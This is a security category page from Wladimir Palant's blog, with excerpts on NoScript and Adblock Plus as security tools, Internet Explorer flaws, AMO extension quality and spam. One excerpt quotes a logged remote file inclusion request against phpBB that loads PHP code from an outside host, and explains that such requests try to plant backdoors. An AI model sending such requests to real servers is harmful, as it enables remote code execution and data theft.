Security

  • Posted on by Wladimir Palant

    Disclamer: This post is only about using NoScript as a security solution, not as a way to block annoyances.

    It seems that me pointing out the fundamental flaw in NoScript only inspired another round of madness — that’s the only name I can find for it. Giorgio Maone has developed a solution that will effectively stop untrusted sites from injecting JavaScript through XSS holes in whitelisted sites. He is currently testing it with a development build and from what I can tell it mostly holds what it promises. Is that an achievement? Giorgio has obviously put much thought into this feature but I still have to say: no.

    Read more… Comment [19]

  • Posted on by Wladimir Palant

    I had a lengthy discussion with Giorgio Maone (author of the NoScript extension) about what is a security solution and what isn’t. Starting point was my statement that, while being excellent for getting rid of annoyances, neither Adblock Plus nor NoScript are really security solutions. Both have the potential, so why not?

    Let’s look at the easier case first: Adblock Plus. Adblock Plus is structured as a blacklist, you usually specify the addresses that you don’t want to load. So if there is a security issue that can be solved by blocking a certain address you will have to add a filter for this address. Requiring an action for each single vulnerability discovered disqualifies Adblock Plus, a real security solution would need to block everything unless explicitly allowed. Right now only the extremely rare case of malware-infested ads would be blocked by default however.

    Read more… Comment [9]

  • Posted on by Wladimir Palant

    I guess some of you run a web server. Maybe you have noticed entries like this one in your logs:

    "GET /forum/admin/admin_styles.php?phpbb_root_path=http://some.server.name/0wn/mail.txt?%5d\r HTTP/1.1" 302 5 "-" "-"

    What is this about? In this particular case somebody tried to use a security hole in an older phpBB version to execute PHP code loaded from another server. I had several hundreds of entries like this one in the last month, targeting vulnerabilities in all kinds of PHP scripts (most of which are not even installed here). The attackers tried to install backdoors, defacement tools or in one case a simple script to send all e-mail addresses from the local phpBB installation to its owner. The requests are usually done by other web servers, I guess those have the backdoor already installed (a botnet).

    Read more… Comment [2]

  • Posted on by Wladimir Palant

    I recently linked to an article stating that users of Internet Explorer have been exposed to known critical vulnerabilities for 284 days last year. That sounds bad enough but unfortunately it is not all. For example I came across a vulnerability in Internet Explorer that has been ranked “Less critical” for reasons I don’t understand. What this does — it basically eliminates same-origin checks, any web site can read contents of another site. I put up an example that can check whether you are logged in on Google or Yahoo and read out your user name — provided that you use Internet Explorer. It could just as well read out your mail or change your mail password. It could also go into your banking account if you happen to be logged in. Information on this vulnerability has been published April last year and still unpatched in both Internet Explorer 6.0 and 7.0.

    Read more… Comment [4]

  • Posted on by Wladimir Palant

    Thanks to morgamic for telling me this, I probably wouldn’t have noticed otherwise — Addons.Mozilla.Org has made an important move towards raising the quality bar. The autogenerated spyware-infested Conduit-based toolbars have been disabled, all 93 of them. Any new submissions will be automatically rejected. Way to go, AMO!

    Mike Shaver writes:

    Read more… Comment [7]

  • Posted on by Wladimir Palant

    I have seen many people complaining about how Firefox is no more secure than Internet Explorer. Usually this impression comes up when people read the long lists of security bugs fixed with every maintenance release. Since I have reported a few security bugs myself and could observe how Mozilla deals with those, I knew well that Firefox is still incomparably more secure than Internet Explorer — and now there is proof. Internet Explorer Unsafe for 284 Days in 2006 has the data. Last year users of Internet Explorer have been exposed to unpatched critical security flaws for 284 days in total, on 98 of those days the security flaws were actively abused by web sites. In comparison, there was only one vulnerability in Firefox that was publicly disclosed before a patched Firefox release was available, amounting to 9 days of exposure.

    So where did the long lists of security bugs go? Did the author of this article overlook them? No, he didn’t. These bugs were there, they have been discovered and fixed — and only then the information on them has been disclosed. So while each and every software has bugs, the major difference here is that Firefox vulnerabilities are reported and fixed before the information is disclosed and somebody gets a chance of abusing them — and with Internet Explorer it often happens the other way round.

    Read more… Comment [9]

  • Posted on by Wladimir Palant

    Disclaimer: I don’t blame people working on AMO for anything. They face extremely difficult problems and are working very hard. I am simply noting some areas where they still have a long way to go.

    I started a little experiment — downloaded all extensions from addons.mozilla.org (AMO), unpacked them and tried to find security holes by searching for specific strings. As expected, it wasn’t all too difficult, one can easily find a dozen vulnerable extensions in an hour, and that not even accounting for the fact that there is a certain unpopular class of extensions on AMO all sharing the same buggy code. The only reason I didn’t hit all too many high profile extensions was that I was going through the extensions in alphabetical order instead of going by popularity.

    Read more… Comment [7]

  • Posted on by Wladimir Palant

    Do you still remember? Sometime in the beginning of year 2004 Bill Gates promised us to take care of the spam problem by 2006. It was big in the news all over the world. Well, the year is almost over and I don’t see anything change for the better. A look at my inbox tells me that spam got much worse if anything. In fact, spammers have made considerable progress in these two years. They are now making heavy use of botnets thus rendering the spam protection methods based on IP address checks or identity verification almost irrelevant. They successfully use randomized mail content and images to trick Bayesian filters. And they got much better at social engineering. What did Microsoft do? They sued a few spammers — which didn’t quite make the expected impact because spam is still much too profitable.

    It’s not that I really expected them to find the silver bullet. I mean, it was obvious that Bill Gates was selling hot air there. But I miss the public outcry. Where are the newspapers who reported about this two years ago, do they want to let him simply get away with a lie?

    Read more… Comment [11]

  • Posted on by Wladimir Palant

    I am back from my vacation and working through all the mail I got in the two weeks. Amongst others I found a funny email bounce for the forum’s confirmation message: “We are not aware of anyone in Germany needing to email us”. That is already weird enough but ok — the forum sends mails using a DE domain as a sender, maybe they don’t like that. So I forwarded the mail using my @adblockplus.org address. The new bounce message was: “We are not aware of anyone in Norway needing to email us”. This time I finally got it — Americans only want to speak to other Americans :)

    Read more… Comment [5]